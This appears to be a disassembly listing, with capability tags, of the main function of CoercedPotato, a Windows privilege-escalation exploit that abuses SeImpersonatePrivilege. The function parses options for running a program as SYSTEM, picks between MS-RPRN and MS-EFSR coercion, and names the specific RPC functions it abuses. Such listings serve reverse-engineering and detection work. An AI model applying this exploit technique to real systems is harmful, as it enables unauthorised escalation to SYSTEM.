Function at 0x140024270
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x17e0
call fcn.140032f60
sub rsp, rax
mov rax, qword [0x140051028]
xor rax, rsp
mov qword [rsp + 0x17d0], rax
mov rdi, rdx
mov ebx, ecx
lea rdx, str.
mov rcx, qword [0x140037368]
call fcn.140028dd0
mov rcx, rax
lea rdx, [0x14002a6b0]
call qword [0x140037270]
lea rdx, str.__________________________________________________________
mov rcx, qword [0x140037368]
call fcn.140028dd0
mov rcx, rax
lea rdx, [0x14002a6b0]
call qword [0x140037270]
lea rdx, str.________________________________________________________
mov rcx, qword [0x140037368]
call fcn.140028dd0
mov rcx, rax
lea rdx, [0x14002a6b0]
call qword [0x140037270]
lea rdx, str.______________________________________________________
mov rcx, qword [0x140037368]
call fcn.140028dd0
mov rcx, rax
lea rdx, [0x14002a6b0]
call qword [0x140037270]
lea rdx, str._________________________________________________
mov rcx, qword [0x140037368]
call fcn.140028dd0
mov rcx, rax
lea rdx, [0x14002a6b0]
call qword [0x140037270]
lea rdx, str.________________________________________________
mov rcx, qword [0x140037368]
call fcn.140028dd0
mov rcx, rax
lea rdx, [0x14002a6b0]
call qword [0x140037270]
lea rdx, str.
mov rcx, qword [0x140037368]
call fcn.140028dd0
mov rcx, rax
lea rdx, [0x14002a6b0]
call qword [0x140037270]
lea rdx, str.____________________________________________Hack0ura__Prepouce
mov rcx, qword [0x140037368]
call fcn.140028dd0
mov rcx, rax
lea rdx, [0x14002a6b0]
call qword [0x140037270]
lea rdx, str.
mov rcx, qword [0x140037368]
call fcn.140028dd0
mov rcx, rax
lea rdx, [0x14002a6b0]
call qword [0x140037270]
xor edx, edx
mov r8d, 0x340
lea rcx, [rsp + 0x100]
call fcn.140032d24
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
xor r15d, r15d
mov qword [rsp + 0x90], r15
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], r15
xor r8d, r8d
lea rdx, [0x1400378bb]
lea rcx, [rsp + 0x90]
call fcn.14002bda0
nop
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
lea r8d, [r15 + 0x7e]
lea rdx, str.CoercedPotato_is_an_automated_tool_for_privilege_escalation_exploit_using_SeImpersonatePrivilege_or_SeImpersonatePrimaryToken.
lea rcx, [rsp + 0x40]
call fcn.14002bda0
nop
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x100]
call fcn.140010960
nop
cmp ebx, 1
jne 0x140024497
lea rcx, str.Use___help_to_show_all_usefull_information._r_n
call fcn.140001640
lea rcx, str.____Exiting..._r_n
call fcn.140001640
xor ecx, ecx
call qword [0x140037568]
int3
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8d, 0x2b
lea rdx, str.Program_to_execute_as_SYSTEM__i.e._cmd.exe_
lea rcx, [rsp + 0x40]
call fcn.14002bda0
nop
mov qword [rsp + 0x90], r15
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], r15
mov r8d, 0xc
lea rdx, str._c___command
lea rcx, [rsp + 0x90]
call fcn.14002bda0
nop
lea r9, [rsp + 0x40]
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x100]
call fcn.14002ad10
mov byte [rax + 0x20], 1
mov qword [rsp + 0xb0], r15
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8d, 0x4e
lea rdx, str.Optionnal_interface_to_use__default_:_ALL___Possible_values_:_ms_rprn__ms_efsr
lea rcx, [rsp + 0x40]
call fcn.14002bda0
nop
mov qword [rsp + 0x90], r15
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], r15
mov r8d, 0xe
lea rdx, str._i___interface
lea rcx, [rsp + 0x90]
call fcn.14002bda0
nop
lea r9, [rsp + 0x40]
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x100]
call fcn.14002ad10
mov rsi, 0xffffffffffffffff
mov dword [rsp + 0x8c], esi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8d, 0x2aa
lea rdx, str.Optionnal_exploit_ID__Only_usuable_if_interface_is_defined___n____ms_rprn_:__n____0__RpcRemoteFindFirstPrinterChangeNotificationEx___n____1__RpcRemoteFindFirstPrinterChangeNotification___n____ms_efsr__n____0__EfsRpcOpenFileRaw___n____1__EfsRpcEncryptFileSrv___n____2__EfsRpcDecryptFileSrv___n____3__EfsRpcQueryUsersOnFile___n____4__EfsRpcQueryRecoveryAgents___n____5__EfsRpcRemoveUsersFromFile___n____6__EfsRpcAddUsersToFile___n____7__EfsRpcFileKeyInfo____NOT_WORKING_n____8__EfsRpcDuplicateEncryptionInfoFile___n____9__EfsRpcAddUsersToFileEx___n____10__EfsRpcFileKeyInfoEx____NOT_WORKING_n____11__EfsRpcGetEncryptedFileMetadata___n____12__EfsRpcEncryptFileExSrv___n____13__EfsRpcQueryProtectors___n
lea rcx, [rsp + 0x40]
call fcn.14002bda0
nop
mov qword [rsp + 0x90], r15
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], r15
lea r8d, [rsi + 0xf]
lea rdx, str._n___exploitId
lea rcx, [rsp + 0x90]
call fcn.14002bda0
nop
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x8c]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x100]
call fcn.14002af00
mov byte [rsp + 0x88], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
lea r8d, [rsi + 0x52]
lea rdx, str.Force_all_RPC_functions_even_if_it_says_Exploit_worked___Default_value_:_false_
lea rcx, [rsp + 0x40]
call fcn.14002bda0
nop
mov qword [rsp + 0x90], r15
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], r15
lea r8d, [rsi + 0xb]
lea rdx, str._f___force
lea rcx, [rsp + 0x90]
call fcn.14002bda0
nop
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x100]
call fcn.14002b0f0
mov byte [rsp + 0x89], 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
lea r8d, [rsi + 0x68]
lea rdx, str.Set_wether_the_process_should_be_run_within_the_same_shell_or_open_a_new_window.__Default_value_:_true_
lea rcx, [rsp + 0x40]
call fcn.14002bda0
nop
mov qword [rsp + 0x90], r15
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], r15
lea r8d, [rsi + 0xe]
lea rdx, str.__interactive
lea rcx, [rsp + 0x90]
call fcn.14002bda0
nop
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x89]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x100]
call fcn.14002b0f0
nop
mov r8, rdi
mov edx, ebx
lea rcx, [rsp + 0x100]
call fcn.140012f10
nop
lea rdi, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0x10
cmovae rdi, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0xe0]
inc rbx
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.1400324a8
mov r14, rax
mov qword [rsp + 0xf0], r15
lea rcx, [rbx - 1]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xf0]
call qword [0x140037460]
call qword [0x140037300]
mov dword [rsp + 0x17c4], 0xffffffff
mov dword [rsp + 0x444], eax
mov edx, 1
mov r9d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x444], eax
inc rdx
cmp rdx, r9
jb 0x140024830
mov dword [rsp + 0x440], r9d
lea r8, [rsp + 0x448]
nop
mov edx, dword [r8 - 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, dword [r8 - 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and ecx, 0x9908b0df
shr edx, 1
xor ecx, edx
xor ecx, dword [r8 + 0x630]
mov dword [r8 + 0x9bc], ecx
lea r8, [r8 + 4]
sub r9, 1
jne 0x140024860
mov ecx, dword [rsp + 0x440]
mov edx, dword [rsp + rcx*4 + 0x444]
inc ecx
mov dword [rsp + 0x440], ecx
mov eax, edx
shr eax, 0xb
and eax, dword [rsp + 0x17c4]
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov ebx, edx
shr ebx, 0x12
xor ebx, edx
inc ebx
mov eax, 0x51eb851f
mul ebx
shr edx, 3
imul ecx, edx, 0x19
sub ebx, ecx
movsxd rcx, ebx
inc rcx
mov eax, 2
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400324a8
mov rsi, rax
mov rdi, r15
movsxd rbx, ebx
test rbx, rbx
jle 0x14002495b
lea r12, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
nop dword [rax]
lea rcx, [rsp + 0x440]
call fcn.140024f90
mov r8d, eax
mov eax, 0x4104105
mul r8d
mov ecx, r8d
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
imul ecx, ecx, 0x3f
sub r8d, ecx
movzx eax, word [r12 + r8*2]
mov word [rsi + rdi*2], ax
inc rdi
cmp rdi, rbx
jl 0x140024920
mov word [rsi + rbx*2], r15w
mov rdx, rsi
lea rcx, [rsp + 0x90]
call fcn.140026dc0
nop
mov qword [0x140055c00], r14
movzx eax, byte [rsp + 0x89]
mov dword [0x140051044], eax
mov rdi, qword [rsp + 0xc0]
test rdi, rdi
jne 0x140024bbe
mov eax, dword [rsp + 0x8c]
cmp eax, 0xffffffff
je 0x1400249d2
mov edx, eax
lea rcx, [0x140039bd8]
call fcn.140001640
lea rcx, str.Please_use_rpcInterface_parameter_before_defining_exploitId.__r_n
call fcn.140001640
lea rcx, str.____Exiting..._r_n
call fcn.140001640
xor ecx, ecx
call qword [0x140037568]
int3
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x40]
call fcn.140026f10
mov rbx, rax
mov qword [rsp + 0x38], rax
movzx edi, byte [rsp + 0x88]
mov esi, dword [rsp + 0x8c]
lea rcx, str.___RUNNING_ALL_KNOWN_EXPLOITS._r_n_n
call fcn.140001640
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140026f10
mov r9, rax
movzx r8d, dil
mov edx, esi
mov rcx, r14
call fcn.1400240b0
test eax, eax
je 0x140024a2e
test dil, dil
je 0x140024a4d
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140026f10
mov r9, rax
movzx r8d, dil
mov edx, esi
mov rcx, r14
call fcn.140023d90
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x140024a8c
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140024a87
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140024bb7
mov rcx, r8
call fcn.1400324a0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rsp + 0xa8]
cmp rdx, 8
jb 0x140024ae5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024adf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024cc8
call fcn.1400324a0
nop
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x140024b28
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024b23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024d0f
call fcn.1400324a0
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0x10
jb 0x140024b87
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024b82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024d7d
call fcn.1400324a0
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
lea rcx, [rsp + 0x100]
call fcn.140010f40
xor eax, eax
jmp 0x140024db1
call qword [0x140037528]
int3
lea rcx, [rsp + 0xb0]
mov rbx, qword [rsp + 0xc8]
cmp rbx, 0x10
setae sil
cmovae rcx, qword [rsp + 0xb0]
cmp rdi, 7
jne 0x140024c27
mov r8, rdi
lea rdx, str.ms_rprn
call fcn.140032fb4
test eax, eax
jne 0x140024c27
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x60]
call fcn.140026f10
mov r9, rax
movzx r8d, byte [rsp + 0x88]
mov edx, dword [rsp + 0x8c]
mov rcx, r14
call fcn.1400240b0
jmp 0x140024c81
lea rcx, [rsp + 0xb0]
test sil, sil
cmovne rcx, qword [rsp + 0xb0]
cmp rdi, 7
jne 0x140024c89
mov r8, rdi
lea rdx, str.ms_efsr
call fcn.140032fb4
test eax, eax
jne 0x140024c89
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x60]
call fcn.140026f10
mov r9, rax
movzx r8d, byte [rsp + 0x88]
mov edx, dword [rsp + 0x8c]
mov rcx, r14
call fcn.140023d90
mov rbx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xa8]
cmp rdx, 8
jb 0x140024cdc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024ccf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024ccf
call qword [0x140037528]
int3
call fcn.1400324a0
mov rbx, qword [rsp + 0xc8]
cmp rbx, 0x10
jb 0x140024d1b
lea rdx, [rbx + 1]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024d16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024d16
call qword [0x140037528]
int3
call fcn.1400324a0
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0x10
jb 0x140024b87
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024b82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024b82
call qword [0x140037528]
nop
lea rcx, [rsp + 0xb0]
call fcn.14000bc60
nop
lea rcx, [rsp + 0xd0]
call fcn.14000bc60
nop
lea rcx, [rsp + 0x100]
call fcn.140010f40
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x17d0]
xor rcx, rsp
call fcn.140031bf0
mov rbx, qword [rsp + 0x1820]
add rsp, 0x17e0
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret